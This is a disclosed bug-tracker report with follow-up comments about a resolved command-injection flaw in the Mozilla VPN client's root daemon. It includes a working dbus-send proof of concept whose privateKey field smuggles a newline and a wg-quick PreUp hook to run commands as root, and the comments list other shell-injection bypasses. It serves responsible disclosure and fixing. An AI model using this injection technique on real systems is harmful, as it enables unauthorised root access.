1684623 - Remote code execution and privilege escalation in mozilla-vpn-client

Status: RESOLVED FIXED

(Mozilla VPN :: Mozilla VPN Client, task)

Description

[nils]

The MozillaVPN daemon which runs as root doesn't validate the method call
parameters given to it.

This means that the input parameters can contains a newline followed by one of
the hooks accepted by wg-quick (PreUp, PostUp, PreDown, PostDown) to have code
execution. Because wg-quick runs as root, the executed hooks are also executed
as root.

There are 2 ways to exploit this:

Firstly, an unprivileged user can perform a malicious method call leading to a
privilege escalation. Proof of concept (the relevant part is the value of
privateKey, which has a newline followed by a hook appended to it):

$ whoami
attacker
$ dbus-send --system --dest=org.mozilla.vpn.dbus --type=method_call / org.mozilla.vpn.dbus.activate string:"{\"allowedIPAddressRanges\":[{\"address\":\"0.0.0.0\",\"isIpv6\":false,\"range\":0},{\"address\":\"::0\",\"isIpv6\":true,\"range\":0}],\"deviceIpv4Address\":\"10.66.237.81/32\",\"deviceIpv6Address\":\"fc00:bbbb:bbbb:bb01::3:ed50/128\",\"ipv6Enabled\":true,\"privateKey\":\"viz1lkL0+Hb/fPs6GXr6lvirqwMFnBq6MtWtsAGy6ds=\\nPreUp = whoami > /tmp/whoami2\",\"serverIpv4AddrIn\":\"89.45.6.114\",\"serverIpv4Gateway\":\"10.64.0.1\",\"serverIpv6AddrIn\":\"2001:ac8:92:5::a04f\",\"serverIpv6Gateway\":\"fc00:bbbb:bbbb:bb01::1\",\"serverPort\":47653,\"serverPublicKey\":\"ZTPHtQfr9FOhws6SQ+uQzeUn5atv8m72QOF+7jaBmDM=\"}"
$ cat /tmp/whoami2
root

Secondly, if the server list (https://vpn.mozilla.org/api/v1/vpn/servers)
served over the network is compromised, the same thing can occur by having a
malicious server address given in the same way a malicious private key is used in
the above proof of concept.

Possible scenarios under which the server list can be compromised (neither of
which should lead to the party having control over the relay list to be able to
have code execution):

• Mozilla servers are compromised
• A certificate is installed on the target machine allowing a man-in-the-middle
  attack.

Both exploit rely on the fact the parameters given to the daemon are not
validated however fixing the RCE (by using certificate pinning for example)
doesn't necessarily fix the privilege escalation.

Possible fixes:

• Validate the parameters in the daemon, here:
  https://github.com/mozilla-mobile/mozilla-vpn-client/blob/07968ddf491542237b7cc5e7e734afad341affab/src/wgquickprocess.cpp#L39
• Validate the data returned from the server (should not be necessary if the
  daemon validates it already however it is best to be safe)
• In the scenario, where a man-in-the-middle attack is performed, certificate
  pinning can fix the issue (although it still allows for privilege escalation
  and a remote code execution can still be performed in the case where mozilla
  servers are compromised)

I haven't tried on MacOS however, I suspect the vulnerabilities are also present
there as wg-quick is used and the input is not validated. This should not affect
Windows as hooks are not supported there however, I do believe it is best to
validate the input there as well.

Comment 1

[nils]

With some inference from https://github.com/mozilla-mobile/mozilla-vpn-client/issues/342, I am guessing the client is launching next week. I just want to make sure this hasn't been mixed.

Comment 2

[nils]

*missed

Comment 3

[nils]

Sorry for pinging people at random, I'm a bit lost as to what I have to do...

Comment 4

[nils]

Would a POC of the remote code execution be of interest?

Comment 5

[Jonathan Claudius [:claudijd] (use NEEDINFO)]

nils: thanks for your report, we'll escalate and get back you as soon as we have something.

Comment 6

[Andrea Marchesini [:baku]]

Nice! I have fixed this in https://github.com/mozilla-mobile/mozilla-vpn-client/issues/438

Comment 7

[nils]

(In reply to Andrea Marchesini [:baku] from comment #6)

Nice! I have fixed this in https://github.com/mozilla-mobile/mozilla-vpn-client/issues/438

I haven't checked yet (don't have the time until Wednesday 2021-01-13), but could a carriage return be used instead of a newline (thereby bypassing this fix)? (Also to generally be safe, it might be preferable to make sure the exact format is respected rather than just checking for a character)

Comment 8

[Andrea Marchesini [:baku]]

https://code.woboq.org/userspace/glibc/stdio-common/getline.c.html#28 - glibc checks for '\n'. a '\r' is not considered as a new line.
Note that this 'wg-quick' thing is a temporary fix. Soon it will be replaced with something better, with 3rd-party external tool execution.

Comment 9

[Frederik Braun [:freddy]]

Baku, thanks for the quick turnaround in looking into this!
But please prioritize fixing this properly: The issue here is way beyond a deny-list of bad characters.
As the reporter points out, this fix is trivially bypassed with other shell injections (like subcommands with backticks or $(..) or a semicolon etc. etc.)

Comment 10

[nils]

I think this can probably be closed now that wg-quick is no longer being used. https://github.com/mozilla-mobile/mozilla-vpn-client/pull/1022

Comment 11

[Andrea Marchesini [:baku]]

Correct. wgquick script has been removed more months ago. We can finally close this issue.

Comment 12

[nils]

Hi, sorry for reaching out about this late about this. I was wondering what's the process for this vulnerability being listed in the security advisories such as in this example: https://www.mozilla.org/en-US/security/advisories/mfsa2022-08/

Thanks!

Comment 13

[Frida K [:frida]]

Hello nils,

Unfortunately, it is too late to add an advisory for this issue. We can disclose the bug and I believe you were added to the HoF in 2021 for this report https://www.mozilla.org/en-US/security/bug-bounty/hall-of-fame/, https://github.com/mozilla/foundation-security-advisories/blob/master/bug-bounty-hof/client.yml#L380.

Thanks,
Frida